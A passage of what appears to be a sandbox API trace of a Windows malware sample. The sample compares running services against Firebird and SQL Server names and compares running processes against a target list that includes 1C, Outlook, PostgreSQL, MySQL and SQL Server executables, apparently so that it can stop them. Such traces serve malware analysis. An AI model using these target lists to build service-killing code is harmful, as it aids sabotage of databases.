lpString2="BFE") returned 1 [0089.718] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0089.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0089.718] lstrlenW (lpString="CryptSvc") returned 8 [0089.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0089.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0089.718] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0089.718] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0089.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0089.718] lstrlenW (lpString="CscService") returned 10 [0089.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0089.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0089.718] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0089.718] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0089.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0089.718] lstrlenW (lpString="DcomLaunch") returned 10 [0089.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0089.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0089.718] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0089.718] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0089.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0089.719] lstrlenW (lpString="Dhcp") returned 4 [0089.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0089.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0089.719] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0089.719] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0089.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0089.719] lstrlenW (lpString="Dnscache") returned 8 [0089.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0089.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0089.719] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0089.719] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0089.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0089.719] lstrlenW (lpString="DPS") returned 3 [0089.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0089.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0089.719] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0089.719] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0089.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0089.719] lstrlenW (lpString="eventlog") returned 8 [0089.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0089.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0089.719] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0089.719] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0089.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0089.719] lstrlenW (lpString="EventSystem") returned 11 [0089.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0089.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0089.719] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0089.719] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0089.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0089.719] lstrlenW (lpString="gpsvc") returned 5 [0089.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0089.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0089.719] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0089.719] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0089.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0089.719] lstrlenW (lpString="LanmanWorkstation") returned 17 [0089.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0089.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0089.719] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0089.720] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0089.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0089.720] lstrlenW (lpString="lmhosts") returned 7 [0089.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0089.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0089.720] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0089.720] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0089.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0089.720] lstrlenW (lpString="MMCSS") returned 5 [0089.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0089.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0089.720] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0089.720] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0089.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0089.720] lstrlenW (lpString="MpsSvc") returned 6 [0089.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0089.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0089.720] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0089.720] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0089.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0089.720] lstrlenW (lpString="NlaSvc") returned 6 [0089.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0089.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0089.720] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0089.720] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0089.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0089.720] lstrlenW (lpString="nsi") returned 3 [0089.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0089.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0089.720] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0089.720] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0089.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0089.720] lstrlenW (lpString="PcaSvc") returned 6 [0089.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0089.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0089.720] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0089.720] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0089.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0089.720] lstrlenW (lpString="PlugPlay") returned 8 [0089.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0089.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0089.721] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0089.721] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0089.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0089.721] lstrlenW (lpString="Power") returned 5 [0089.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0089.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0089.721] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0089.721] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0089.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0089.721] lstrlenW (lpString="ProfSvc") returned 7 [0089.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0089.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0089.721] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0089.721] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0089.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0089.721] lstrlenW (lpString="RpcEptMapper") returned 12 [0089.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0089.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0089.721] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0089.721] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0089.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0089.721] lstrlenW (lpString="RpcSs") returned 5 [0089.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0089.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0089.721] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0089.721] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0089.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0089.721] lstrlenW (lpString="SamSs") returned 5 [0089.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0089.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0089.721] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0089.721] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0089.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0089.721] lstrlenW (lpString="Schedule") returned 8 [0089.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0089.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0089.722] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0089.722] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0089.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0089.722] lstrlenW (lpString="SENS") returned 4 [0089.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0089.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0089.722] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0089.722] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0089.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0089.722] lstrlenW (lpString="ShellHWDetection") returned 16 [0089.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0089.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0089.722] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0089.722] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0089.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0089.722] lstrlenW (lpString="Spooler") returned 7 [0089.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0089.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0089.722] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0089.722] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0089.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0089.722] lstrlenW (lpString="Themes") returned 6 [0089.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0089.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0089.722] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0089.722] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0089.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0089.722] lstrlenW (lpString="UxSms") returned 5 [0089.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0089.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0089.722] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0089.722] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0089.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0089.722] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4126028 | out: hHeap=0x4f0000) returned 1 [0089.722] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x38c [0089.725] Process32FirstW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0089.725] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0089.725] lstrlenW (lpString="System") returned 6 [0089.725] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0089.725] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0089.725] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0089.725] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0089.725] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0089.725] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0089.725] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0089.725] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0089.725] lstrlenW (lpString="smss.exe") returned 8 [0089.725] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0089.725] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0089.726] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0089.726] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0089.726] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0089.726] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0089.726] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0089.726] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0089.726] lstrlenW (lpString="csrss.exe") returned 9 [0089.726] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0089.726] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0089.726] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0089.726] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0089.726] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0089.726] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0089.726] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0089.726] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0089.726] lstrlenW (lpString="wininit.exe") returned 11 [0089.726] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0089.726] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0089.726] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0089.726] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0089.726] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0089.726] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0089.726] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0089.726] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0089.727] lstrlenW (lpString="csrss.exe") returned 9 [0089.727] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0089.727] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0089.727] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0089.727] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0089.727] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0089.727] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0089.727] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0089.727] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0089.727] lstrlenW (lpString="winlogon.exe") returned 12 [0089.727] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0089.727] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0089.727] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0089.727] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0089.727] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0089.727] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0089.727] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0089.727] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0089.728] lstrlenW (lpString="services.exe") returned 12 [0089.728] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0089.728] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0089.728] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0089.728] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0089.728] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0089.728] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0089.728] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0089.728] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0089.728] lstrlenW (lpString="lsass.exe") returned 9 [0089.728] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0089.728] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0089.728] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0089.728] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0089.728] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0089.728] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0089.728] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0089.728] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0089.728] lstrlenW (lpString="lsm.exe") returned 7 [0089.728] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0089.728] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0089.728] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0089.728] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0089.728] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0089.729] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0089.729] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0089.729] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.729] lstrlenW (lpString="svchost.exe") returned 11 [0089.729] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0089.729] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0089.729] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0089.729] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0089.729] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0089.729] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0089.729] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0089.729] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.729] lstrlenW (lpString="svchost.exe") returned 11 [0089.729] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0089.729] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0089.729] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0089.729] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0089.729] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0089.729] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0089.729] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0089.729] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.730] lstrlenW (lpString="svchost.exe") returned 11 [0089.730] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0089.730] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0089.730] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0089.730] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0089.730] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0089.730] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0089.730] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0089.730] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.730] lstrlenW (lpString="svchost.exe") returned 11 [0089.730] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0089.730] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0089.730] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0089.730] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0089.730] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0089.730] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0089.730] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0089.730] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.730] lstrlenW (lpString="svchost.exe") returned 11 [0089.731] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0089.731] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0089.731] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0089.731] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, 